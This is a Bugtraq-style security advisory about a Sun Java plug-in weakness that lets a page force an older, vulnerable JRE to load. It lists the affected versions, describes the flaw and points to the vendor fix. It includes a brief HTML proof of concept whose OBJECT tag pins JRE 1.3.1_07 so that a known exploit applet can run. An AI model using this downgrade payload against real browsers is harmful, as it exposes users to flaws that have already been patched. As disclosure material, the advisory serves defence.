Sun Java Applet Invocation Version Specification Weakness

Bugtraq ID:	11757
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 25 2004 12:00AM
Updated:	Sep 02 2006 12:03AM
Credit:	Peter Greenwood reported the security implications of this feature.
Vulnerable:	Sun JRE (Windows Production Release) 1.4.2 _06 Sun JRE (Windows Production Release) 1.4.2 _05 Sun JRE (Windows Production Release) 1.4.2 _05 Sun JRE (Windows Production Release) 1.4.2 _04 Sun JRE (Windows Production Release) 1.4.2 _03 Sun JRE (Windows Production Release) 1.4.2 _02 Sun JRE (Windows Production Release) 1.4.2 _01 Sun JRE (Windows Production Release) 1.4.2 Sun JRE (Windows Production Release) 1.4.1 _07 Sun JRE (Windows Production Release) 1.4.1 _03 Sun JRE (Windows Production Release) 1.4.1 _02 Sun JRE (Windows Production Release) 1.4.1 _01 + Opera Software Opera Web Browser 7.11 j + Opera Software Opera Web Browser 7.11 Sun JRE (Windows Production Release) 1.4.1 Sun JRE (Windows Production Release) 1.4 .0_04 + Opera Software Opera Web Browser 7.54 Sun JRE (Windows Production Release) 1.4 .0_03 Sun JRE (Windows Production Release) 1.4 .0_02 Sun JRE (Windows Production Release) 1.4 .0_01 Sun JRE (Windows Production Release) 1.4 Sun JRE (Windows Production Release) 1.3.1 _09 Sun JRE (Windows Production Release) 1.3.1 _08 Sun JRE (Windows Production Release) 1.3.1 _07 Sun JRE (Windows Production Release) 1.3.1 _06 Sun JRE (Windows Production Release) 1.3.1 _05 Sun JRE (Windows Production Release) 1.3.1 _04 Sun JRE (Windows Production Release) 1.3.1 _03 Sun JRE (Windows Production Release) 1.3.1 _02 Sun JRE (Windows Production Release) 1.3.1 _01a Sun JRE (Windows Production Release) 1.3.1 _01 Sun JRE (Windows Production Release) 1.3 .0_05 Sun JRE (Windows Production Release) 1.3 .0_04 Sun JRE (Windows Production Release) 1.3 .0_02 Sun JRE (Windows Production Release) 1.3 .0_02 Sun JRE (Windows Production Release) 1.3 Sun JRE (Windows Production Release) 1.2.2 _12 Sun JRE (Windows Production Release) 1.2.2 _015 Sun JRE (Windows Production Release) 1.2.2 _014 Sun JRE (Windows Production Release) 1.2.2 _013 Sun JRE (Windows Production Release) 1.2.2 _011 Sun JRE (Windows Production Release) 1.2.2 _010 Sun JRE (Windows Production Release) 1.2.2 _007 Sun JRE (Windows Production Release) 1.2.2 Sun JRE (Windows Production Release) 1.2.1 Sun JRE (Windows Production Release) 1.2 Sun JRE (Windows Production Release) 1.1.8 _009 Sun JRE (Windows Production Release) 1.1.8 _008 Sun JRE (Windows Production Release) 1.1.8 _007 Sun JRE (Windows Production Release) 1.1.8 _005 Sun JRE (Windows Production Release) 1.1.8 Sun JRE (Windows Production Release) 1.1.7 B_007 Sun JRE (Windows Production Release) 1.1.6 _09 Sun JRE (Solaris Production Release) 1.4.2 _06 Sun JRE (Solaris Production Release) 1.4.2 _05 Sun JRE (Solaris Production Release) 1.4.2 _04 + Opera Software Opera Web Browser 7.54 Sun JRE (Solaris Production Release) 1.4.2 _03 Sun JRE (Solaris Production Release) 1.4.2 _02 Sun JRE (Solaris Production Release) 1.4.2 _01 Sun JRE (Solaris Production Release) 1.4.2 Sun JRE (Solaris Production Release) 1.4.1 _03 Sun JRE (Solaris Production Release) 1.4.1 _02 Sun JRE (Solaris Production Release) 1.4.1 _01 Sun JRE (Solaris Production Release) 1.4.1 Sun JRE (Solaris Production Release) 1.4 .0_04 Sun JRE (Solaris Production Release) 1.4 .0_04 Sun JRE (Solaris Production Release) 1.4 .0_03 Sun JRE (Solaris Production Release) 1.4 .0_02 Sun JRE (Solaris Production Release) 1.4 .0_01 Sun JRE (Solaris Production Release) 1.4 Sun JRE (Solaris Production Release) 1.3.1 _09 Sun JRE (Solaris Production Release) 1.3.1 _08 Sun JRE (Solaris Production Release) 1.3.1 _07 Sun JRE (Solaris Production Release) 1.3.1 _06 Sun JRE (Solaris Production Release) 1.3.1 _05 Sun JRE (Solaris Production Release) 1.3.1 _04 Sun JRE (Solaris Production Release) 1.3.1 _03 + Macromedia ColdFusion Server MX Professional + Macromedia ColdFusion Server MX Enterprise + Macromedia ColdFusion Server MX Developer Sun JRE (Solaris Production Release) 1.3.1 _02 Sun JRE (Solaris Production Release) 1.3.1 _01 Sun JRE (Solaris Production Release) 1.3.1 Sun JRE (Solaris Production Release) 1.3 _01 Sun JRE (Solaris Production Release) 1.3 .0_05 Sun JRE (Solaris Production Release) 1.3 .0_02 Sun JRE (Solaris Production Release) 1.3 .0_02 Sun JRE (Solaris Production Release) 1.3 Sun JRE (Solaris Production Release) 1.2.2 _11 Sun JRE (Solaris Production Release) 1.2.2 _11 Sun JRE (Solaris Production Release) 1.2.2 _07 Sun JRE (Solaris Production Release) 1.2.2 _05a Sun JRE (Solaris Production Release) 1.2.2 _014 Sun JRE (Solaris Production Release) 1.2.2 _013 Sun JRE (Solaris Production Release) 1.2.2 _012 Sun JRE (Solaris Production Release) 1.2.2 _011 Sun JRE (Solaris Production Release) 1.2.2 _010 Sun JRE (Solaris Production Release) 1.2.2 Sun JRE (Solaris Production Release) 1.2.1 Sun JRE (Solaris Production Release) 1.2 Sun JRE (Solaris Production Release) 1.1.8 _14 Sun JRE (Solaris Production Release) 1.1.8 _13 Sun JRE (Solaris Production Release) 1.1.8 _12 Sun JRE (Solaris Production Release) 1.1.8 _10 + Sun Solaris 8_x86 + Sun Solaris 8_sparc + Sun Solaris 7.0_x86 + Sun Solaris 7.0 + Sun Solaris 2.6_x86 + Sun Solaris 2.6 Sun JRE (Solaris Production Release) 1.1.8 _009 Sun JRE (Solaris Production Release) 1.1.8 Sun JRE (Solaris Production Release) 1.1.7 B Sun JRE (Solaris Production Release) 1.1.6 + Sun Solaris 8_x86 + Sun Solaris 8_sparc + Sun Solaris 7.0_x86 + Sun Solaris 7.0 + Sun Solaris 2.6_x86 + Sun Solaris 2.6 Sun JRE (Linux Production Release) 1.5 _05 Sun JRE (Linux Production Release) 1.5 _04 Sun JRE (Linux Production Release) 1.5 _03 Sun JRE (Linux Production Release) 1.5 _02 Sun JRE (Linux Production Release) 1.5 _01 Sun JRE (Linux Production Release) 1.4.2 _09 Sun JRE (Linux Production Release) 1.4.2 _08 Sun JRE (Linux Production Release) 1.4.2 _07 Sun JRE (Linux Production Release) 1.4.2 _06 Sun JRE (Linux Production Release) 1.4.2 _05 Sun JRE (Linux Production Release) 1.4.2 _04 + Opera Software Opera Web Browser 7.54 Sun JRE (Linux Production Release) 1.4.2 _03 Sun JRE (Linux Production Release) 1.4.2 _02 Sun JRE (Linux Production Release) 1.4.2 _01 Sun JRE (Linux Production Release) 1.4.2 Sun JRE (Linux Production Release) 1.4.1 _03 Sun JRE (Linux Production Release) 1.4.1 _02 Sun JRE (Linux Production Release) 1.4.1 _01 Sun JRE (Linux Production Release) 1.4.1 Sun JRE (Linux Production Release) 1.4 .0_04 Sun JRE (Linux Production Release) 1.4 .0_03 Sun JRE (Linux Production Release) 1.4 .0_02 Sun JRE (Linux Production Release) 1.4 Sun JRE (Linux Production Release) 1.3.1 _17 Sun JRE (Linux Production Release) 1.3.1 _16 Sun JRE (Linux Production Release) 1.3.1 _15 Sun JRE (Linux Production Release) 1.3.1 _09 Sun JRE (Linux Production Release) 1.3.1 _08 Sun JRE (Linux Production Release) 1.3.1 _07 Sun JRE (Linux Production Release) 1.3.1 _06 Sun JRE (Linux Production Release) 1.3.1 _05 Sun JRE (Linux Production Release) 1.3.1 _04 Sun JRE (Linux Production Release) 1.3.1 _03 Sun JRE (Linux Production Release) 1.3.1 _02 Sun JRE (Linux Production Release) 1.3.1 _01a Sun JRE (Linux Production Release) 1.3.1 _01 Sun JRE (Linux Production Release) 1.3.1 Sun JRE (Linux Production Release) 1.3 .0_05 Sun JRE (Linux Production Release) 1.3 .0_04 Sun JRE (Linux Production Release) 1.3 .0_03 Sun JRE (Linux Production Release) 1.3 .0_02 Sun JRE (Linux Production Release) 1.3 .0_01 Sun JRE (Linux Production Release) 1.3 .0 Sun JRE (Linux Production Release) 1.2.2 _12 Sun JRE (Linux Production Release) 1.2.2 _015 Sun JRE (Linux Production Release) 1.2.2 _014 Sun JRE (Linux Production Release) 1.2.2 _013 Sun JRE (Linux Production Release) 1.2.2 _011 Sun JRE (Linux Production Release) 1.2.2 _010 Sun JRE (Linux Production Release) 1.2.2 _007 Sun JRE (Linux Production Release) 1.2.2 _006 Sun JRE (Linux Production Release) 1.2.2 _005 Sun JRE (Linux Production Release) 1.2.2 _004 Sun JRE (Linux Production Release) 1.2.2 _003 Sun JRE (Linux Production Release) 1.2.2 Sun Java Web Start 1.2 Sun Java Web Start 1.0.1 _02 Sun Java Web Start 1.0.1 _01 Sun Java Web Start 1.0.1 + Sun SDK (Linux Production Release) 1.3 Sun Java Web Start 1.0 Sun Java Plug-In 1.4.2 _02 Sun Java Plug-In 1.4.2 _01 Sun Java Plug-In 1.4 Sun Java Plug-In 1.3.1 Sun Java Plug-In 1.3 _02 Sun Java 2 Runtime Environment 1.5 Sun Java 2 Runtime Environment 1.4.2 _11 Sun Java 2 Runtime Environment 1.4.2 _10 Sun Java 2 Runtime Environment 1.4.2 _06 Sun Java 2 Runtime Environment 1.4.2 _05 Sun Java 2 Runtime Environment 1.4.2 _04 Sun Java 2 Runtime Environment 1.4.2 _03 + Oracle Oracle10g Application Server 10.1 .0.2 + Oracle Oracle10g Application Server 10.1 .0.2 + Oracle Oracle10g Application Server 10.1 .0.2 + Oracle Oracle10g Enterprise Edition 10.1 .0.2 + Oracle Oracle10g Enterprise Edition 10.1 .0.2 + Oracle Oracle10g Enterprise Edition 10.1 .0.2 + Oracle Oracle10g Personal Edition 10.1 .0.2 + Oracle Oracle10g Personal Edition 10.1 .0.2 + Oracle Oracle10g Personal Edition 10.1 .0.2 + Oracle Oracle10g Standard Edition 10.1 .0.2 Sun Java 2 Runtime Environment 1.4.2 _02 Sun Java 2 Runtime Environment 1.4.2 _01 Sun Java 2 Runtime Environment 1.4.2 Sun Java 2 Runtime Environment 1.4.1 Sun Java 2 Runtime Environment 1.3.1 _08 Sun Java 2 Runtime Environment 1.3.1 _01 Sun Java 2 Runtime Environment 1.3 _02 Sun Java 2 Runtime Environment 1.3
Not Vulnerable:	Sun Java 2 Runtime Environment 1.5 _06

Sun Java Applet Invocation Version Specification Weakness

Java provides support for dynamic and static versioning when loading applets in the Java plug-in. This means that during the invocation of an applet, a user can request that a particular version of a plug-in be used to run the applet. The feature is accessible through various HTML tags that allow Java applets to be embedded in HTML documents, such as the EMBED, OBJECT, and APPLET tags.

This feature presents a security weakness in that it may be abused to cause a previous version of a plug-in that is known to be prone to security vulnerabilities to be loaded in lieu of a more recent, fixed version. For this design flaw to pose a security threat, a vulnerable plug-in must either already be installed on the host computer or the user must manually install a version that is prone to security vulnerabilities. If a targeted version is not installed, the user may be prompted to install it.

This weakness could result in a false sense of security, since the user may believe that installing an updated version will eliminate vulnerabilities in previous versions.

Note that since this feature is supported in various browsers, the browsers themselves may be prone to the issue. Some browsers may not allow a Java plug-in that is no longer registered with the browser to run.

This design flaw was originally discussed in an update to BID 11726.

Sun Java Applet Invocation Version Specification Weakness

An exploit is not required.

The following example was provided:

<html>
<title> Java Version Downgrade proof-of-concept </title>
<body>
Demonstration uses the following vulnerability:
<br>
http://www.securityfocus.com/bid/8879
<br>
Source code for Simple.class:
<br>
http://www.securityfocus.com/bid/8879/exploit/
<p>
Added this code to Simple.java for debugging purposes:
<br>
String javaVersion = System.getProperty("java.version");
<br>
addItem("Java version: " + javaVersion);
<p>
This proof-of-concept was tested on a Windows system using IE with
the following Java installations:
<br>
Sun JRE 1.3.1_07 (vulnerable to BID 8879)
<br>
Sun JRE 1.3.1_13 (not vulnerable to BID 8879)
<br>
note: invoking applet normally should run Simple.class in JRE
1.3.1_13.
<p>
<OBJECT classid="clsid:CAFEEFAC-0013-0001-0007-ABCDEFFEDCBA"
width = "600" height = "100"
codebase="http://java.sun.com/products/plugin/autodl/jinstall-1_3_1_07-windows-i586.cab##Version=1_3_1_07">
<PARAM NAME="code" VALUE="Simple.class">
</OBJECT>
</body>
</html>

Sun Java Applet Invocation Version Specification Weakness

Solution:
The vendor has released J2SE Update 6 to address this issue. Please see the referenced advisories for more information.


Sun JRE (Solaris Production Release) 1.3 _01

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun JRE (Solaris Production Release) 1.3.1

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun Java 2 Runtime Environment 1.3.1 _08

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun JRE (Linux Production Release) 1.3.1 _01a

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun JRE (Linux Production Release) 1.3.1 _15

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun JRE (Linux Production Release) 1.3.1 _16

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun Java 2 Runtime Environment 1.4.2 _03

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun JRE (Linux Production Release) 1.4.2 _09

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun JRE (Linux Production Release) 1.4.2 _08

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun Java 2 Runtime Environment 1.4.2

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun Java 2 Runtime Environment 1.4.2 _02

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun Java 2 Runtime Environment 1.4.2 _04

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun Java 2 Runtime Environment 1.5

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun JRE (Linux Production Release) 1.5 _03

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun JRE (Linux Production Release) 1.5 _02

• Sun J2SE 5.0
  http://java.sun.com/j2se/1.5.0/download.jsp

Sun Java Applet Invocation Version Specification Weakness

References:

• 102557 - Java Plug-in and Java Web Start May Allow Applets and Applications to R (Sun)
  
• Encountering OBJECT, EMBED, and APPLET Tags With Different Plug-in Versions (Sun)
  
• Java version downgrading proof-of-concept ()
  
• Re: Sun Java Plugin arbitrary package access vulnerability (Peter Greenwood )